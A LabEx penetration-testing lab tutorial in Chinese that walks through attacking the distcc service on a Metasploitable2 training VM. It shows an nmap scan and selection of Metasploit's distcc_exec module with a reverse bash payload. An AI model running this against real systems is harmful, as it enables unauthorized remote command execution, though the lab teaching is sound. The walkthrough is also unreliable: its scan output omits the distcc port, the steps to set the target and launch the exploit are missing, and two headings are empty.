通过攻击 Distcc 获取权限

CybersecurityCybersecurityBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,我们将使用 Kali 终端对 LabEx 提供的 Metasploitable2 目标机器进行渗透测试。重点在于理解攻击 Distcc 服务的原理和过程。实验结束后,提供了推荐的阅读材料和作业任务。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("`Cybersecurity`")) -.-> cybersecurity/NmapGroup(["`Nmap`"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_installation("`Nmap Installation and Setup`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("`Nmap Port Scanning Methods`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_host_discovery("`Nmap Host Discovery Techniques`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_target_specification("`Nmap Target Specification`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_service_detection("`Nmap Service Detection`") subgraph Lab Skills cybersecurity/nmap_installation -.-> lab-416128{{"`通过攻击 Distcc 获取权限`"}} cybersecurity/nmap_port_scanning -.-> lab-416128{{"`通过攻击 Distcc 获取权限`"}} cybersecurity/nmap_host_discovery -.-> lab-416128{{"`通过攻击 Distcc 获取权限`"}} cybersecurity/nmap_target_specification -.-> lab-416128{{"`通过攻击 Distcc 获取权限`"}} cybersecurity/nmap_service_detection -.-> lab-416128{{"`通过攻击 Distcc 获取权限`"}} end

启动实验环境

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要1-3分钟。

  1. 通过 ping 命令测试与目标机的连通性:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机的网络连接:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

现在攻击机和目标机都已启动,你可以开始进行渗透测试。

注意:如果你意外退出了当前的 bash,Kali 容器会自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash 来启动一个新的 Kali 容器并进入 bash 以继续实验。

执行渗透测试

Distcc 服务漏洞原理:

Distcc 用于在网络服务器上分布式编译大型代码库。然而,如果配置不当,它可能被滥用来执行命令。由于服务器端口缺乏访问限制,XCode 1.5 和其他 Distcc 2.x 版本中存在此漏洞。

简单来说,该服务缺乏对端口和执行任务的适当检查,使得攻击者可以利用分布式编译任务来执行自己的命令。

漏洞索引:

漏洞攻击模块代码:

首先,启动 msfconsole 进入操作界面:

cd ~
msfconsole

使用 Nmap 扫描工具扫描目标主机的开放端口:

nmap -sV -T4 192.168.122.102

以下是可能看到的输出示例:

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp   open  domain  ISC BIND 9.4.2
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

根据扫描结果,搜索你想要攻击的端口服务对应的模块:

search distcc

在 Kali MSF 终端中,使用 use 命令选择适当的模块:

use exploit/unix/misc/distcc_exec

然后,使用 show options 命令显示模块参数:

show options

以下是可能看到的输出示例:

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
                                       it.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.140.88    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

验证渗透是否成功

为了验证渗透是否成功,可以使用以下命令:whoamihostnameifconfig(用于检查 IP 地址):

首先,如果你不在 Metasploit 控制台中,应该启动 Metasploit 控制台:

cd ~
msfconsole

检查当前用户:

whoami

检查主机名:

hostname

检查被入侵主机的 IP 地址:

ifconfig

如果主机名和 IP 地址与目标机器(192.168.122.102)匹配,则表明渗透测试成功。

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,我们学习了攻击 Distcc 服务的原理和过程。通过实际操作,我们掌握了使用 Nmap 进行渗透扫描、利用 Metasploit 攻击 Distcc 漏洞以及验证渗透成功的方法。该实验为我们提供了漏洞分析和利用技术的实践理解。

您可能感兴趣的其他 Cybersecurity 教程